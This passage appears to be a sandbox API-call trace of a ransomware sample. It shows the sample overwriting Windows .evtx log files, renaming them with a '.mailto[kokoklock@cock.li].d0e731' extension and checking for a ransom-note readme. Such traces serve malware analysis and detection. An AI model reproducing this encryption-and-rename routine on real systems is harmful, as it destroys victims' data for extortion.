(lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.252] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x7c2fdac | out: lpFileSize=0x7c2fdac*=69632) returned 1 [0061.253] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.253] ReadFile (in: hFile=0x5b4, lpBuffer=0x7c2fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7c2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x7c2fd80*, lpNumberOfBytesRead=0x7c2fd7c*=0x4, lpOverlapped=0x0) returned 1 [0061.254] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b340 [0061.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b4f8 [0061.254] NtQuerySystemTime (in: CurrentTime=0x7c2fd58 | out: CurrentTime=0x7c2fd58*=132121176191488407) returned 0x0 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x8e553f94 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x85205e5e [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x280a8517 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xe03bab98 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x666501fa [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x12a61571 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x538fb915 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xff97fb46 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x25fb64a9 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xe175005f [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x73116119 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x11319d96 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xd1e6e014 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x27b1f937 [0061.254] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x43e08e2b [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xe97111e6 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xd0234774 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x45bb96c1 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x12011361 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xbb9d1de7 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x4cd88697 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xeb33a8b0 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xba2636e4 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xa4898484 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x1666d269 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x26e075b5 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xe5fd4374 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xe7a963da [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x65096697 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0xb1a4e086 [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x8643e4ea [0061.255] RtlRandom (in: Seed=0x7c2fd64 | out: Seed=0x7c2fd64) returned 0x2f5c68cd [0061.263] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b520 [0061.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.266] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.266] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.266] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.266] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.266] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7c2fd30, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7c2fd30*=0x4096, lpOverlapped=0x0) returned 1 [0061.267] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479e20 [0061.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.267] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b200 [0061.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b200) returned 1 [0061.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0061.267] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.267] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7c2fd30, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7c2fd30*=0x4096, lpOverlapped=0x0) returned 1 [0061.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.268] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.268] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b458*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7c2fd68, lpOverlapped=0x0 | out: lpBuffer=0x347b458*, lpNumberOfBytesWritten=0x7c2fd68*=0x20, lpOverlapped=0x0) returned 1 [0061.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b458) returned 1 [0061.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.268] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7c2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x347b548*, lpNumberOfBytesWritten=0x7c2fd7c*=0x8, lpOverlapped=0x0) returned 1 [0061.268] WriteFile (in: hFile=0x5b4, lpBuffer=0x7c2fd94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7c2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x7c2fd94*, lpNumberOfBytesWritten=0x7c2fd7c*=0x4, lpOverlapped=0x0) returned 1 [0061.268] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7c2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7c2fd7c*=0x4, lpOverlapped=0x0) returned 1 [0061.268] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7c2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7c2fd7c*=0x6c, lpOverlapped=0x0) returned 1 [0061.268] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7c2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x347b340*, lpNumberOfBytesWritten=0x7c2fd7c*=0x20, lpOverlapped=0x0) returned 1 [0061.268] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7c2fd7c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7c2fd7c*=0x4, lpOverlapped=0x0) returned 1 [0061.268] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b340) returned 1 [0061.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b520) returned 1 [0061.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.269] CloseHandle (hObject=0x5b4) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xaa) returned 0x33e3760 [0061.271] wcscpy (in: _Dest=0x33e3760, _Source="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" [0061.271] wcscat (in: _Dest=0x33e3760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0061.271] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.272] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3760) returned 1 [0061.272] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", dwFileAttributes=0x20) returned 0 [0061.272] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433b68 [0061.272] wcscpy (in: _Dest=0x3433b68, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.272] wcscat (in: _Dest=0x3433b68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.272] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433b68) returned 1 [0061.272] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c9d00) returned 1 [0061.272] RtlExitUserThread (Status=0x1) Thread: id = 97 os_tid = 0xd18 [0061.275] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx")) returned 0x20 [0061.275] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.275] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.276] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x7cafb24 | out: lpFileSize=0x7cafb24*=69632) returned 1 [0061.276] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.276] ReadFile (in: hFile=0x5b4, lpBuffer=0x7cafaf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7cafaf4, lpOverlapped=0x0 | out: lpBuffer=0x7cafaf8*, lpNumberOfBytesRead=0x7cafaf4*=0x4, lpOverlapped=0x0) returned 1 [0061.277] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b458 [0061.277] NtQuerySystemTime (in: CurrentTime=0x7cafad0 | out: CurrentTime=0x7cafad0*=132121176191644673) returned 0x0 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x9fb76ae3 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xaa565ec1 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x49d891cf [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xb39558cc [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xe19dceb2 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xf8fcadf [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x7ba9e347 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x2f552e91 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xe5e48519 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xa002a12f [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xe84e8a5 [0061.277] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x1d87be61 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xdcfbf1a8 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x864be23c [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xef48b9f1 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x1e0c8243 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xea581773 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x6c8254a4 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x8744c505 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xc954b81e [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x831908c [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xc11a23d [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x2b84f7ab [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x16b9df17 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x37b3cf4 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x6af77cd9 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x895bc25a [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x7e4e61ea [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x1c252001 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0xc0062f71 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x57148972 [0061.278] RtlRandom (in: Seed=0x7cafadc | out: Seed=0x7cafadc) returned 0x6c052c08 [0061.287] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b520 [0061.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479bc8 [0061.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b548 [0061.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479bc8) returned 1 [0061.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b1d8) returned 1 [0061.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0061.289] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.289] ReadFile (in: hFile=0x5b4, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x7cafaa8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x7cafaa8*=0x4096, lpOverlapped=0x0) returned 1 [0061.289] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3a0 [0061.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479970 [0061.289] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b570 [0061.289] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b570) returned 1 [0061.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0061.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b570 [0061.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b598 [0061.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b598) returned 1 [0061.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0061.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3a0) returned 1 [0061.290] WriteFile (in: hFile=0x5b4, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x7cafaa8, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x7cafaa8*=0x4096, lpOverlapped=0x0) returned 1 [0061.290] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0061.290] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.290] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7cafae0, lpOverlapped=0x0 | out: lpBuffer=0x347b570*, lpNumberOfBytesWritten=0x7cafae0*=0x20, lpOverlapped=0x0) returned 1 [0061.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b570) returned 1 [0061.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0061.291] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x7cafaf4, lpOverlapped=0x0 | out: lpBuffer=0x347b548*, lpNumberOfBytesWritten=0x7cafaf4*=0x8, lpOverlapped=0x0) returned 1 [0061.291] WriteFile (in: hFile=0x5b4, lpBuffer=0x7cafb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7cafaf4, lpOverlapped=0x0 | out: lpBuffer=0x7cafb0c*, lpNumberOfBytesWritten=0x7cafaf4*=0x4, lpOverlapped=0x0) returned 1 [0061.291] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7cafaf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x7cafaf4*=0x4, lpOverlapped=0x0) returned 1 [0061.291] WriteFile (in: hFile=0x5b4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x7cafaf4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x7cafaf4*=0x6c, lpOverlapped=0x0) returned 1 [0061.291] WriteFile (in: hFile=0x5b4, lpBuffer=0x347b2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7cafaf4, lpOverlapped=0x0 | out: lpBuffer=0x347b2a0*, lpNumberOfBytesWritten=0x7cafaf4*=0x20, lpOverlapped=0x0) returned 1 [0061.291] WriteFile (in: hFile=0x5b4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x7cafaf4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x7cafaf4*=0x4, lpOverlapped=0x0) returned 1 [0061.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b2a0) returned 1 [0061.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b520) returned 1 [0061.291] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b548) returned 1 [0061.291] CloseHandle (hObject=0x5b4) returned 1 [0061.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x341e0b8 [0061.294] wcscpy (in: _Dest=0x341e0b8, _Source="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" [0061.294] wcscat (in: _Dest=0x341e0b8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0061.294] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0061.294] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0061.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e0b8) returned 1 [0061.295] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", dwFileAttributes=0x20) returned 0 [0061.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433ce8 [0061.295] wcscpy (in: _Dest=0x3433ce8, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0061.295] wcscat (in: _Dest=0x3433ce8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0061.295] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0061.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433ce8) returned 1 [0061.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc9f0) returned 1 [0061.295] RtlExitUserThread (Status=0x1) Thread: id = 98 os_tid = 0x3cc [0061.296] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx")) returned 0x20 [0061.296] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", dwFileAttributes=0x20) returned 1 [0061.296] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4 [0061.297] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x7d2fdf8 | out: lpFileSize=0x7d2fdf8*=69632) returned 1 [0061.297] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.297] ReadFile (in: hFile=0x5b4, lpBuffer=0x7d2fdcc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x7d2fdc8, lpOverlapped=0x0 | out: lpBuffer=0x7d2fdcc*, lpNumberOfBytesRead=0x7d2fdc8*=0x4, lpOverlapped=0x0) returned 1 [0061.300] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b1d8 [0061.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b2a0 [0061.300] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b520 [0061.300] NtQuerySystemTime (in: CurrentTime=0x7d2fda4 | out: CurrentTime=0x7d2fda4*=132121176191957606) returned 0x0 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x9fc1c787 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: Seed=0x7d2fdb0) returned 0x6ad00075 [0061.300] RtlRandom (in: Seed=0x7d2fdb0 | out: 